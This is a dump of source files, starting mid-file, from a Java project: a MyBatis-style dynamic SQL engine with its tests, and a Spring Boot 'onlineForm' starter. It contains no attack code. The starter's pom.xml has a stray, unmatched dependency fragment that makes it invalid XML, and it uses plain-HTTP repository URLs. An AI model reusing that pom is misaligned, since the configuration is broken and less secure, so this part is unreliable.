key.length());\n                    }\n                }\n        }\n\n        if (StringUtils.isNotBlank(sql) && StringUtils.isNotBlank(prefix)) {\n            context.appendSql(prefix);\n        }\n\n        context.appendSql(sql);\n\n        if (StringUtils.isNotBlank(sql) && StringUtils.isNotBlank(suffix)) {\n            context.appendSql(suffix);\n        }\n\n    }\n\n    @Override\n    public void applyParameter(Set<String> set) {\n        contents.applyParameter(set);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/node/WhereSqlNode.java",
    "content": "package io.github.wujun728.sql.node;\n\nimport java.util.Arrays;\nimport java.util.List;\n\npublic class WhereSqlNode extends TrimSqlNode {\n\n    static List<String> prefixesToOverride = Arrays.asList(\"AND \", \"AND\\r\", \"AND\\t\", \"AND\\n\", \"OR \", \"OR\\r\", \"OR\\t\", \"OR\\n\"\n            , \"and \", \"and\\r\", \"and\\t\", \"and\\n\", \"or \", \"or\\r\", \"or\\t\", \"or\\n\");\n\n    public WhereSqlNode(SqlNode contents) {\n\n        super(contents, \"WHERE \", null, prefixesToOverride, null);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/ForeachHandler.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.SqlNode;\nimport org.apache.commons.lang3.StringUtils;\nimport org.dom4j.Element;\n\nimport io.github.wujun728.sql.node.ForeachSqlNode;\nimport io.github.wujun728.sql.node.MixedSqlNode;\n\nimport java.util.List;\n\n\npublic class ForeachHandler implements TagHandler {\n    @Override\n    public void handle(Element element, List<SqlNode> targetContents) {\n        List<SqlNode> contents = XmlParser.parseElement(element);\n\n        String open = element.attributeValue(\"open\");\n        String close = element.attributeValue(\"close\");\n        String collection = element.attributeValue(\"collection\");\n        String separator = element.attributeValue(\"separator\");\n        String item = element.attributeValue(\"item\");\n        String index = element.attributeValue(\"index\");\n\n        if (StringUtils.isBlank(collection)) {\n            throw new RuntimeException(\"<foreach> attribute missing : collection\");\n        }\n        if (StringUtils.isBlank(item)) {\n            item = \"item\";\n        }\n        if (StringUtils.isBlank(index)) {\n            index = \"index\";\n        }\n\n        ForeachSqlNode foreachSqlNode = new ForeachSqlNode(collection, open, close, separator, item, index, new MixedSqlNode(contents));\n        targetContents.add(foreachSqlNode);\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/IfHandler.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.SqlNode;\nimport org.dom4j.Element;\n\nimport io.github.wujun728.sql.node.IfSqlNode;\nimport io.github.wujun728.sql.node.MixedSqlNode;\n\nimport java.util.List;\n\n\npublic class IfHandler implements TagHandler {\n\n    @Override\n    public void handle(Element element, List<SqlNode> targetContents) {\n        String test = element.attributeValue(\"test\");\n        if (test == null) {\n            throw new RuntimeException(\"<if> tag missing test attribute\");\n        }\n\n        List<SqlNode> contents = XmlParser.parseElement(element);\n\n        IfSqlNode ifSqlNode = new IfSqlNode(test, new MixedSqlNode(contents));\n        targetContents.add(ifSqlNode);\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/SetHandler.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.MixedSqlNode;\nimport io.github.wujun728.sql.node.SetSqlNode;\nimport io.github.wujun728.sql.node.SqlNode;\nimport org.dom4j.Element;\n\nimport java.util.List;\n\n\npublic class SetHandler implements TagHandler{\n\n    @Override\n    public void handle(Element element, List<SqlNode> targetContents) {\n        List<SqlNode> contents = XmlParser.parseElement(element);\n\n        SetSqlNode node = new SetSqlNode(new MixedSqlNode(contents));\n        targetContents.add(node);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/TagHandler.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.SqlNode;\nimport org.dom4j.Element;\n\nimport java.util.List;\n\npublic interface TagHandler {\n\n    void handle(Element element, List<SqlNode> contents);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/TrimHandler.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.MixedSqlNode;\nimport io.github.wujun728.sql.node.SqlNode;\nimport io.github.wujun728.sql.node.TrimSqlNode;\nimport org.dom4j.Element;\n\nimport java.util.Arrays;\nimport java.util.List;\n\n\npublic class TrimHandler implements TagHandler {\n\n    @Override\n    public void handle(Element element, List<SqlNode> targetContents) {\n        String prefix = element.attributeValue(\"prefix\");\n        String suffix = element.attributeValue(\"suffix\");\n        String prefixesToOverride = element.attributeValue(\"prefixesToOverride\");\n        List<String> prefixesOverride = prefixesToOverride == null ? null : Arrays.asList(prefixesToOverride.split(\"\\\\|\"));\n        String suffixesToOverride = element.attributeValue(\"suffixesToOverride\");\n        List<String> suffixesOverride = suffixesToOverride == null ? null : Arrays.asList(suffixesToOverride.split(\"\\\\|\"));\n\n        List<SqlNode> contents = XmlParser.parseElement(element);\n        TrimSqlNode trimSqlNode = new TrimSqlNode(new MixedSqlNode(contents), prefix, suffix, prefixesOverride, suffixesOverride);\n        targetContents.add(trimSqlNode);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/WhereHandler.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.MixedSqlNode;\nimport io.github.wujun728.sql.node.SqlNode;\nimport io.github.wujun728.sql.node.WhereSqlNode;\nimport org.dom4j.Element;\n\nimport java.util.List;\n\n\npublic class WhereHandler implements TagHandler{\n\n    @Override\n    public void handle(Element element, List<SqlNode> targetContents) {\n        List<SqlNode> contents = XmlParser.parseElement(element);\n\n        WhereSqlNode node = new WhereSqlNode(new MixedSqlNode(contents));\n        targetContents.add(node);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/tag/XmlParser.java",
    "content": "package io.github.wujun728.sql.tag;\n\nimport io.github.wujun728.sql.node.MixedSqlNode;\nimport io.github.wujun728.sql.node.SqlNode;\nimport io.github.wujun728.sql.node.TextSqlNode;\nimport org.dom4j.*;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n\npublic class XmlParser {\n\n    static Map<String, TagHandler> nodeHandlers = new HashMap<String, TagHandler>() {\n        {\n            put(\"foreach\", new ForeachHandler());\n            put(\"if\", new IfHandler());\n            put(\"trim\", new TrimHandler());\n            put(\"where\", new WhereHandler());\n            put(\"set\", new SetHandler());\n        }\n    };\n\n    //将xml内容解析成sqlNode类型\n\n    public static SqlNode parseXml2SqlNode(String text) {\n\n        Document document = null;\n        try {\n            document = DocumentHelper.parseText(text);\n        } catch (DocumentException e) {\n            throw new RuntimeException(e.getMessage());\n        }\n        Element rootElement = document.getRootElement();\n        List<SqlNode> contents = parseElement(rootElement);\n        SqlNode sqlNode = new MixedSqlNode(contents);\n        return sqlNode;\n    }\n\n    //解析单个标签的子内容，转化成sqlNode list\n\n    public static List<SqlNode> parseElement(Element element) {\n        List<SqlNode> nodes = new ArrayList<>();\n\n        List<Object> children = element.content();\n        for (Object node : children) {\n            if (node instanceof Text) {\n                TextSqlNode textSqlNode = new TextSqlNode(((Text) node).getText());\n                nodes.add(textSqlNode);\n\n            } else if (node instanceof Element) {\n                String nodeName = ((Element) node).getName();\n                TagHandler handler = nodeHandlers.get(nodeName.toLowerCase());\n                if (handler == null) {\n                    throw new RuntimeException(\"tag not supported\");\n                }\n                //内部递归调用此方法\n                handler.handle((Element) node, nodes);\n\n            }\n\n        }\n\n        return nodes;\n\n    }\n\n    public static void main(String[] args) {\n        parseXml2SqlNode(\"<a>111<if test='true'>222<if test='true'>333</if>444<foreach collection='list' open='(' close=')' separator=',' item='item'>fff</foreach></if>555</a>\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/token/TokenHandler.java",
    "content": "package io.github.wujun728.sql.token;\n\npublic interface TokenHandler {\n\n    public String handleToken(String content);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/token/TokenParser.java",
    "content": "package io.github.wujun728.sql.token;\n\nimport org.dom4j.DocumentException;\n\n\npublic class TokenParser {\n\n    private String openToken;\n    private String closeToken;\n    TokenHandler tokenHandler;\n\n    public TokenParser(String openToken, String closeToken, TokenHandler tokenHandler) {\n        this.openToken = openToken;\n        this.closeToken = closeToken;\n        this.tokenHandler = tokenHandler;\n    }\n\n    public static void main(String[] args) throws DocumentException {\n//        String parse = parse(\"   and name = #{minId\\\\}} and id < #{yy \\n} and name = #{ eee  }\");\n//        System.out.println(parse);\n\n//        parseVariableNames(\"select * from Blog where 1=1<if test=\\\"minId != null and minId != '' \\\">  and id > #{minId} </if><if test=\\\"maxId != null and maxId != '' \\\"> and id &lt; #{maxId} </if> \\t<if test=\\\"minId != null and minId != '' \\\"> and id > #{minId} </if> and udr = #{  ffr}\");\n    }\n\n    /**\n     * 将sql文本片段中的参数替换成？ 并且将？对应的参数值按顺序保存起来\n     */\n    public String parse(String text) {\n        if (text == null || text.isEmpty()) {\n            return \"\";\n        }\n        int start = text.indexOf(openToken);\n        if (start == -1) {\n            return text;\n        }\n        char[] src = text.toCharArray();\n        int offset = 0;\n        final StringBuilder builder = new StringBuilder();\n        StringBuilder expression = null;\n        do {\n            //搜索到假的#{ ，  \\#{ 转化成 #{\n            if (start > 0 && src[start - 1] == '\\\\') {\n                builder.append(src, offset, start - offset - 1).append(openToken);\n                offset = start + openToken.length();\n            }\n            //搜索到真实的 #{\n            else {\n\n                if (expression == null) {\n                    expression = new StringBuilder();\n                } else {\n                    expression.setLength(0);\n                }\n                builder.append(src, offset, start - offset);\n                offset = start + openToken.length();\n\n                //开始搜索 }\n                int end = text.indexOf(closeToken, offset);\n                while (end > -1) {\n                    //搜索到假的 } ，   \\} 转化成 }\n                    if (end > offset && src[end - 1] == '\\\\') {\n                        expression.append(src, offset, end - offset - 1).append(closeToken);\n                        offset = end + closeToken.length();\n                        //继续向右搜索 }\n                        end = text.indexOf(closeToken, offset);\n                    }\n                    //搜索到真实的 }\n                    else {\n                        expression.append(src, offset, end - offset);\n                        break;\n                    }\n                }\n                //没有搜索到真实的右括号 }\n                if (end == -1) {\n\n                    builder.append(src, start, src.length - start);\n                    offset = src.length;\n                }\n                //搜索到真实的右括号}\n                else {\n                    builder.append(tokenHandler.handleToken(expression.toString().trim()));\n                    offset = end + closeToken.length();\n                }\n            }\n            start = text.indexOf(openToken, offset);\n        } while (start > -1);\n        if (offset < src.length) {\n            builder.append(src, offset, src.length - offset);\n        }\n        return builder.toString();\n    }\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/util/OgnlUtil.java",
    "content": "package io.github.wujun728.sql.util;\n\nimport ognl.Ognl;\nimport ognl.OgnlException;\n\nimport java.lang.reflect.Array;\nimport java.math.BigDecimal;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class OgnlUtil {\n\n    public static Object getValue(String expression, Map<String, Object> root) {\n        try {\n            Map context = Ognl.createDefaultContext(root);\n            Object value = Ognl.getValue(Ognl.parseExpression(expression), context, root);\n            return value;\n        } catch (OgnlException e) {\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    public static Boolean getBooleanValue(String expression, Map<String, Object> root) {\n        Object value = getValue(expression, root);\n        if (value instanceof Boolean) {\n            return (Boolean) value;\n        } else if (value instanceof Number)\n            return !new BigDecimal(String.valueOf(value)).equals(BigDecimal.ZERO);\n        else\n            throw new RuntimeException(\"expression value is not boolean or number type: \" + expression);\n    }\n\n    public static Iterable<?> getIterable(String expression, Map<String, Object> root) {\n        Object value = getValue(expression, root);\n        if (value == null)\n            throw new RuntimeException(\"The expression '\" + expression + \"' evaluated to a null value.\");\n        if (value instanceof Iterable)\n            return (Iterable<?>) value;\n        if (value.getClass().isArray()) {\n            // the array may be primitive, so Arrays.asList() may throw\n            // a ClassCastException (issue 209). Do the work manually\n            // Curse primitives! :) (JGB)\n            int size = Array.getLength(value);\n            List<Object> answer = new ArrayList<Object>();\n            for (int i = 0; i < size; i++) {\n                Object o = Array.get(value, i);\n                answer.add(o);\n            }\n            return answer;\n        }\n        if (value instanceof Map) {\n            return ((Map) value).entrySet();\n        }\n        throw new RuntimeException(\"Error evaluating expression '\" + expression + \"'.  Return value (\" + value + \") was not iterable.\");\n    }\n\n    public static void main(String[] args) {\n        Map<String, Object> root = new HashMap<>();\n        List<Integer> list = new ArrayList<>();\n        list.add(12);\n        list.add(22);\n        list.add(32);\n        list.add(42);\n        root.put(\"ids\", list);\n\n        Object o = getValue(\"ids[3]\", root);\n        System.out.println(o);\n\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/main/java/io/github/wujun728/sql/util/RegexUtil.java",
    "content": "package io.github.wujun728.sql.util;\n\nimport java.util.regex.Pattern;\n\n\npublic class RegexUtil {\n\n    public static String replace(String content, String item, String newItem) {\n        return content.replaceFirst(\"^\\\\s*\" + item + \"(?![^.,:\\\\s])\", newItem);\n    }\n\n    public static void main(String[] args) {\n        boolean matches = \"item\".matches( \"item\" + \"[.,:\\\\s\\\\[]\");\n\n        boolean item = Pattern.compile(\"item[.,:\\\\s\\\\[]\").matcher(\"item\").matches();\n\n//        String aa = \"item[0].name\".replaceFirst(\"^\\\\s*\" + \"item\" + \"(?![^.,:\\\\s])\", \"aa\");\n//        System.out.println(aa);\n        System.out.println(item);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/test/java/io/github/wujun728/sql/TestUser.java",
    "content": "package io.github.wujun728.sql;\n\nimport io.github.wujun728.sql.engine.DynamicSqlEngine;\nimport org.junit.Test;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Set;\n\npublic class TestUser {\n\n    @Test\n    public void testSubMap() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"id &lt;= #{maxId.maxId}\";\n        \n        Map<String, Object> submap = new HashMap<>();\n        submap.put(\"maxId\", 10);\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"maxId\", submap);\n        \n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(\"testSubMap\"+sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n\n    }\n    @Test\n    public void testIf() {\n    \tDynamicSqlEngine engine = new DynamicSqlEngine();\n    \tString sql = \"id &lt;= #{maxId}\";\n    \tMap<String, Object> map = new HashMap<>();\n    \tmap.put(\"maxId\", 10);\n    \t\n    \tSqlMeta sqlMeta = engine.parse(sql, map);\n    \tSystem.out.println(sqlMeta.getSql());\n    \tsqlMeta.getJdbcParamValues().forEach(System.out::println);\n    \t\n    }\n\n    @Test\n    public void testTrim() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"<trim prefix='(' suffix=')' suffixesToOverride=',' prefixesToOverride='and' ><foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}</foreach><if test='id!=null'>  and xyz.,</if></trim>\";\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 2);\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    @Test\n    public void testWhere() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = \"<where><if test='id!=null'>  and id = #{id}</if><if test='id!=null'>  and id = #{id}</if></where>\";\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\", 2);\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    @Test\n    public void testForeach() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList.toArray());\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    @Test\n    public void testForeachIF() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"select * from user where name in <foreach collection='list' index='idx' open='(' separator=',' close=')'>#{item.name}== #{idx}<if test='id!=null'>  and id = #{id}</if></foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<User> arrayList = new ArrayList<>();\n        arrayList.add(new User(10, \"tom\"));\n        arrayList.add(new User(11, \"jerry\"));\n        map.put(\"list\", arrayList.toArray());\n        map.put(\"id\", 100);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n/*\n    @Test\n    public void testForeachMap() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='users' open='(' separator=',' close=')'>#{item}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        Map<String, Object> users = new HashMap<String, Object>() {\n            {\n                put(\"aaa\", \"a1\");\n                put(\"bbb\", \"b1\");\n            }\n        };\n\n        map.put(\"users\", users);\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n*/\n\n    @Test\n    public void testMultiForeach() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='list' open='(' separator=',' close=')'>#{item}</foreach><foreach collection='list2' open='{' separator=',' close='}'>#{item}</foreach>\");\n        Map<String, Object> map = new HashMap<>();\n\n        ArrayList<String> list = new ArrayList<String>() {{\n            add(\"a\");\n            add(\"b\");\n        }};\n\n        map.put(\"list\", list);\n\n        ArrayList<String> list2 = new ArrayList<String>() {{\n            add(\"c\");\n            add(\"d\");\n        }};\n\n        map.put(\"list2\", list2.toArray());\n\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n    }\n\n    @Test\n    public void testSet() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"update<set><if test='id !=null'> id = #{id} ,</if><if test='id !=null'> id = #{id} , </if></set>\");\n        Map<String, Object> map = new HashMap<>();\n        map.put(\"id\",10);\n        SqlMeta sqlMeta = engine.parse(sql, map);\n        System.out.println(sqlMeta.getSql());\n        sqlMeta.getJdbcParamValues().forEach(System.out::println);\n\n    }\n\n    @Test\n    public void testParseParam() {\n        DynamicSqlEngine engine = new DynamicSqlEngine();\n        String sql = (\"<foreach collection='list' open='(' separator=',' close=')'>#{item.name} #{item} #{id} ${indexName} </foreach><where><if test='id!=null'>  and id = #{mid}</if> ${name}</where>\");\n        Set<String> set = engine.parseParameter(sql);\n        set.stream().forEach(System.out::println);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-mybatis-sql-engine/src/test/java/io/github/wujun728/sql/User.java",
    "content": "package io.github.wujun728.sql;\n\npublic class User {\n    Integer id;\n    String name;\n\n    public User(Integer id, String name) {\n        this.id = id;\n        this.name = name;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-onlineForm-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <name>jun-onlineForm-spring-boot-starter(onlineForm在线表单开发工具)</name>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <mybatis-plus.version>3.5.7</mybatis-plus.version>\n        <lombok.version>1.18.36</lombok.version>\n        <mica-auto.version>2.3.3</mica-auto.version>\n        <mapstruct.version>1.5.5.Final</mapstruct.version>\n        <fastjson.version>1.2.78</fastjson.version>\n        <hutool.version>5.8.24</hutool.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n        <!-- 通用工具-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-core</artifactId>\n            <version>${mybatis-plus.version}</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-annotations</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.mapstruct</groupId>\n            <artifactId>mapstruct</artifactId>\n            <version>${mapstruct.version}</version>\n        </dependency>\n        <!-- Lombok 依赖 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>${lombok.version}</version>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-validation</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n            <version>${mica-auto.version}</version>\n        </dependency>\n            <scope>provided</scope>\n        </dependency>\n\n        <!-- Web依赖 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <!-- JSON依赖 -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>${fastjson.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>${hutool.version}</version>\n        </dependency>\n    </dependencies>\n\n    <!-- 依赖声明 -->\n    <dependencyManagement>\n        <dependencies>\n            <!-- SpringBoot的依赖配置-->\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n    <build>\n        <resources>\n            <!-- 对非二进制文件启用过滤 -->\n            <resource>\n                <directory>src/main/resources</directory>\n                <filtering>true</filtering>\n                <excludes>\n                    <!-- 排除二进制文件 -->\n                    <exclude>**/*.eot</exclude>\n                    <exclude>**/*.woff</exclude>\n                    <exclude>**/*.woff2</exclude>\n                    <exclude>**/*.ttf</exclude>\n                    <exclude>**/*.svg</exclude>\n                    <exclude>**/*.png</exclude>\n                    <exclude>**/*.jpg</exclude>\n                    <exclude>**/*.gif</exclude>\n                    <exclude>**/*.ico</exclude>\n                    <exclude>**/*.jar</exclude>\n                </excludes>\n            </resource>\n            <!-- 对二进制文件不启用过滤 -->\n            <resource>\n                <directory>src/main/resources</directory>\n                <filtering>false</filtering>\n                <includes>\n                    <include>**/*.eot</include>\n                    <include>**/*.woff</include>\n                    <include>**/*.woff2</include>\n                    <include>**/*.ttf</include>\n                    <include>**/*.svg</include>\n                    <include>**/*.png</include>\n                    <include>**/*.jpg</include>\n                    <include>**/*.gif</include>\n                    <include>**/*.ico</include>\n                    <include>**/*.jar</include>\n                </includes>\n            </resource>\n        </resources>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>1.8</source>\n                    <target>1.8</target>\n                </configuration>\n            </plugin>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-resources-plugin</artifactId>\n                <version>3.3.0</version>\n                <configuration>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n\n            <!-- Spring Boot Maven插件 -->\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>2.5.14</version>\n                <executions>\n                    <execution>\n                        <goals>\n                            <goal>repackage</goal>\n                        </goals>\n                    </execution>\n                </executions>\n                <configuration>\n                    <mainClass>io.github.wujun728.isolated.IsolatedApp</mainClass>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/isolated/IsolatedApp.java",
    "content": "package io.github.wujun728.isolated;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * 完全隔离的Spring Boot应用，只包含必要的组件\n */\n@Configuration\n@EnableAutoConfiguration(exclude = {DataSourceAutoConfiguration.class})\n@ComponentScan(\"io.github.wujun728.isolated\")\npublic class IsolatedApp {\n\n    /**\n     * 内嵌的控制器\n     */\n    @RestController\n    static class IsolatedController {\n        @GetMapping(\"/isolated/hello\")\n        public String hello() {\n            return \"Hello from isolated controller!\";\n        }\n    }\n\n    public static void main(String[] args) {\n        SpringApplication.run(IsolatedApp.class, args);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/minimal/MinimalApp.java",
    "content": "package io.github.wujun728.minimal;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration;\n\n/**\n * 最小化的Spring Boot应用，仅用于测试\n */\n@SpringBootApplication(exclude = {DataSourceAutoConfiguration.class})\npublic class MinimalApp {\n\n    public static void main(String[] args) {\n        SpringApplication.run(MinimalApp.class, args);\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/minimal/MinimalController.java",
    "content": "package io.github.wujun728.minimal;\n\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * 最简单的控制器，仅用于测试应用是否能正常启动\n */\n@RestController\npublic class MinimalController {\n\n    @GetMapping(\"/minimal/hello\")\n    public String hello() {\n        return \"Hello from minimal controller!\";\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/common/BaseDao.java",
    "content": "package io.github.wujun728.online.common;\n\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * 基础Dao\n *\n */\npublic interface BaseDao<T> extends BaseMapper<T> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-onlineForm-spring-boot-starter/src/main/java/io/github/wujun728/online/common/BaseService.java",
    "content": "package io.github.wujun728.online.common;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * 基础服务接口，所有Service接口都要继承\n *\n */\npublic interface BaseService<T> extends IService<T> {\n\n\n}"
  },
